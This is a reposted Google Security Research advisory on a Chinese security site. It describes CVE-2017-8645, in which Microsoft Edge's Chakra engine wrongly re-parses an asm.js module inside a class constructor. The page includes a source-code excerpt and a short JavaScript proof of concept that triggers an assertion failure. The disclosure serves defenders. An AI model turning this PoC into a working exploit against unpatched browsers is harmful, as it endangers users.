首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Charka Failed Re-Parse
来源:Google Security Research 作者:lokihardt 发布时间:2017-08-17  
Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses CVE-2017-8645 When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor. In the PoC, it binds the information of the method "f"("f2" in the latest release version of Edge) to the constructor. The PoC hits the following assertion in the debug build. FuncInfo * ByteCodeGenerator::StartBindFunction(const char16 *name, uint nameLength, uint shortNameOffset, bool* pfuncExprWithName, ParseNode *pnode, Js::ParseableFunctionInfo * reuseNestedFunc) { bool funcExprWithName; Js::ParseableFunctionInfo* parseableFunctionInfo = nullptr; Js::AutoRestoreFunctionInfo autoRestoreFunctionInfo(reuseNestedFunc, reuseNestedFunc ? reuseNestedFunc->GetOriginalEntryPoint() : nullptr); if (this->pCurrentFunction && this->pCurrentFunction->IsFunctionParsed()) { Assert(this->pCurrentFunction->StartInDocument() == pnode->ichMin); <<------- here ... } ... } "this->pCurrentFunction" is the consturctor, but "pnode" refers to the method "f". PoC: class MyClass { f(a) { print(a); } constructor() { 'use asm'; function f(v) { v = v | 0; return v | 0; } return f; } f2(a) { print(a); } } MyClass(1); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge Charka PreVisit
·Microsoft Edge Chakra PushPopF
·Microsoft Edge CInputDateTimeS
·Microsoft Edge Chakra TryUndel
·FreeBSD 10.3 Jail SHM Issue
·Microsoft Edge Chakra Incorrec
·Internet Download Manager 6.28
·Microsoft Edge Chakra Javascri
·ALLPlayer 7.4 - Buffer Overflo
·Microsoft Edge Chakra Uninitia
·Xamarin Studio for Mac 6.2.1 (
·Microsoft Edge Chakra Parser::
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved